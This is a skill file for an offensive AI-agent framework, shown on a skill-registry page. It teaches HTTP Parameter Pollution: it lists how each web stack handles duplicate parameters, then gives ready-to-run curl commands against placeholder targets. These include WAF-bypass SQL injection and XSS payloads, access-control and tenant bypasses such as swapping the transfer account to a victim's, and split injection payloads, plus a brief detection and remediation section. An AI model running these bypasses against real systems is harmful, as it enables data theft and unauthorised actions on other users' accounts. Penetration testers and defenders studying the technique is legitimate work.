HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.
62
74%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.mdTwo layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.
When ?id=1&id=2 (or duplicated body params) is received:
| Stack | request.GET['id'] / equivalent | getParameterValues / list view |
|---|---|---|
PHP ($_GET) | last wins (2) | $_GET['id[]'] only; otherwise the dup is dropped |
ASP.NET (Request.QueryString["id"]) | comma-concatenated ("1,2") | GetValues returns both |
| ASP Classic | comma-concatenated | — |
Java Servlet (getParameter) | first (1) | getParameterValues returns both |
Java Spring @RequestParam String | first | List<String> binds both |
Node.js qs (Express default) | array (["1","2"]) | n/a |
Node.js querystring (legacy) | array | n/a |
Python Flask request.args.get | first | getlist returns both |
Python Django request.GET['id'] | last | getlist returns both |
Python urllib.parse.parse_qs | list (["1","2"]) | — |
| Ruby on Rails | last | params[:id] is the last; arrays via id[]= |
Go net/http r.URL.Query().Get | first | ["id"] returns all |
Perl CGI param("id") | first in scalar, list in list context | — |
nginx $arg_id | first | — |
Apache mod_rewrite %{QUERY_STRING} | raw — passes both | — |
| AWS API Gateway → Lambda proxy | last in queryStringParameters, all in multiValueQueryStringParameters | — |
| Cloudflare WAF | inspects all values for rule match (generally) | — |
| AWS WAF | inspects each occurrence | — |
| ModSecurity (CRS) | inspects each — but anomaly score per rule | — |
The exploitable pattern: WAF/proxy reads value A, app reads value B.
# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'
# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300
# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'
# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2" # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2" # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api" # body dupReflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.
for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
echo "== $pair =="
curl -s "http://<TARGET>/echo?$pair"
echo
doneThe WAF inspects one occurrence; the app concatenates / picks the other.
# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
--data-urlencode "q=1" \
--data-urlencode "q=UNION SELECT user,password FROM users--"
# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
--data-urlencode "q=harmless" \
--data-urlencode "q=<svg/onload=alert(1)>"
# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
--data-urlencode "host=' OR 1=1--" \
--data-urlencode "host=8.8.8.8"Mixed source confusion — GET vs POST:
# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'role=admin'The auth layer evaluates one value; the controller acts on another.
# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.
# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
-d 'role=user&username=x&role=admin'
# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_id=$MINE&tenant_id=$OTHER"User-supplied parameter is re-emitted into a link or redirect without re-encoding &.
Vulnerable template: <a href="/proxy?url=USER_INPUT&action=read">
Payload: USER_INPUT = http://x.tld?evil=1
Rendered link: /proxy?url=http://x.tld?evil=1&action=read
Server sees: url=http://x.tld?evil=1 AND action=read (still benign)
Now payload: USER_INPUT = http://x.tld?evil=1&action=delete
Rendered link: /proxy?url=http://x.tld?evil=1&action=delete&action=read
Server (first-wins): action=delete ← attacker controls flow despite "&action=read" being hard-coded# Probe — pass a payload containing & and look for it un-encoded in the response HTML
curl -s "http://<TARGET>/page?ref=foo%26admin=1" | grep -oE 'href="[^"]*ref=[^"]*"' | head# Split SQLi payload across two values to bypass per-value length / pattern checks
curl -G "http://<TARGET>/search" \
--data-urlencode "q=' UNION SELECT 1,2,3--" \
--data-urlencode "q=' UNION SELECT username,password,3 FROM users--"
# .NET concatenation → final value contains both fragments joined by ","
# Carry an XSS payload past a regex that only checks one occurrence
curl -G "http://<TARGET>/view" \
--data-urlencode "name=harmless" \
--data-urlencode "name=<img src=x onerror=alert(1)>"-z list,1-2-1,1 to inject duplicate keys.--param-del=';' -p 'q' --skip-urlencode — for separator-style HPP.requests.PreparedRequest lets you pass a list of tuples to keep order: [("id","1"),("id","2")].| Signal | Source |
|---|---|
Two id= (or any key) per request line | access logs, request audit |
| WAF rule fired on one occurrence, request still 200 | WAF + app log correlation |
?key[]= or ;key= patterns | nginx / Apache logs |
ASP.NET request that concatenates user input into "1,2" and forwards to a backend | app trace |
Differential outcome on ?a=1&a=2 vs ?a=2&a=1 | active monitoring probe |
Remediation: canonicalize duplicates before auth/inspection; reject duplicates by policy on sensitive endpoints; never re-emit user input into URLs without re-encoding & and =.
| Observation | Action |
|---|---|
| Stack identified, dup-param accepted, app reads value B while WAF inspects A | Confirm with a known-blocked payload split across A,B → escalate to SQLi/XSS chain |
| Auth-relevant param accepted in duplicate AND backend action uses a different occurrence | Pursue ACL/IDOR-via-HPP chain → high severity |
| Dup accepted but both occurrences inspected and treated identically | Low impact, move on or fold into bypass research |
| Client-side HPP only (no auth/ACL impact) | Document, often Low; chain with open redirect / CSRF |
skills/standard/exploit/web/waf-bypass/SKILL.mdskills/standard/exploit/web/sqli/SKILL.mdskills/standard/exploit/web/bfla/SKILL.mdskills/standard/exploit/web/smuggling/SKILL.md0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.